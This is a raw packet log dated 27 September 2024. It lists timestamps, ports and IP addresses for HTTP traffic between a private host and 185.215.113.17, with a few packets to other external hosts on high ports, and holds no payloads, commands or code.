Sep 27, 2024 16:18:30.591089964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591089964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591116905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591142893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591150045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591171980 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591181040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591213942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591219902 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591219902 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591250896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591274023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591284037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591300964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591317892 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591341019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591351986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591368914 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591401100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591415882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591475964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591490984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591537952 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591541052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591576099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591588020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591614962 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591645002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591667891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591700077 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591718912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591737032 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591773033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591794968 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591808081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591840029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591846943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591846943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591896057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591896057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591932058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591957092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591965914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591996908 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592000961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592035055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592044115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592075109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592082024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592082024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592104912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592138052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592144012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592144012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592173100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592206955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592216015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592216015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592240095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592252016 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592274904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592295885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592309952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592319012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592344046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592346907 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592376947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592406988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592408895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592427969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592439890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592453957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592474937 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592482090 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592509985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592524052 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592545986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592578888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592590094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592590094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592612982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592647076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592648029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592683077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592690945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592690945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592715979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592746019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592750072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592768908 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592784882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592803955 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592822075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592855930 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592856884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592890024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.592891932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.592905998 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.593110085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.631484985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631546021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631546021 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.631604910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631638050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631639957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.631674051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631679058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.631679058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.631707907 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631725073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.631781101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.631788015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631820917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631864071 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.631864071 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.631875038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631905079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631934881 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.631944895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631967068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.631982088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.631989002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632016897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632030964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632052898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632086992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632097006 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632097006 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632121086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632153034 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632159948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632174969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632198095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632230043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632237911 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632237911 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632263899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632298946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632299900 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632299900 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632333040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632365942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632369995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632369995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632402897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.632405043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.632486105 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.647038937 CEST	26212	49606	95.179.250.45	192.168.2.6
Sep 27, 2024 16:18:30.647106886 CEST	49606	26212	192.168.2.6	95.179.250.45
Sep 27, 2024 16:18:30.674701929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.674766064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.674773932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.674794912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.674812078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.674814939 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.674827099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.674844027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.674845934 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.674856901 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.674861908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.674870014 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.674892902 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.674916983 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.675281048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675297022 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675312996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675328970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.675338984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675364017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675379992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675405979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.675405979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.675414085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675430059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675435066 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.675493956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.675493956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.675860882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675875902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675892115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675905943 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.675918102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675925970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.675935030 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675951958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675961971 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.675967932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.675998926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.676007032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676023006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676028013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.676048040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.676055908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676070929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676086903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676096916 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.676103115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676119089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676124096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.676124096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.676136017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676146030 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.676177979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.676808119 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676835060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676851034 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676870108 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.676870108 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.676887035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.676929951 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676945925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676960945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676976919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676991940 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.676999092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677011013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677011013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677036047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677361012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677386999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677402020 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677427053 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677427053 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677474022 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677486897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677503109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677519083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677534103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677541018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677541018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677551031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677556038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677586079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677591085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677604914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677619934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677622080 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677638054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677649975 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677660942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677673101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677690029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677706003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677716017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677716017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677732944 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677774906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677784920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677791119 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677809954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677824020 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677824974 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677834034 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677840948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677855015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677870035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677870035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677877903 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677889109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677911043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677915096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677927971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677942038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677942991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677954912 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677958965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677975893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677989960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.677995920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.677995920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678006887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678024054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678040028 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678040028 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678041935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678060055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678069115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678102016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678117990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678133011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678147078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678147078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678150892 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678165913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678168058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678185940 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678204060 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678236961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678237915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678252935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678270102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678277016 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678297043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678318024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678333998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678333998 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678348064 CEST	49606	26212	192.168.2.6	95.179.250.45
Sep 27, 2024 16:18:30.678352118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678358078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678388119 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678409100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678430080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678453922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678468943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678472996 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678493023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678508043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678519011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678533077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678558111 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678558111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678576946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678579092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678596020 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678608894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678613901 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678613901 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678636074 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678637028 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:30.678654909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678656101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678690910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678705931 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678709030 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678736925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678751945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678759098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678774118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678788900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.678812981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678812981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.678858995 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.679491043 CEST	49610	45580	192.168.2.6	65.21.18.51
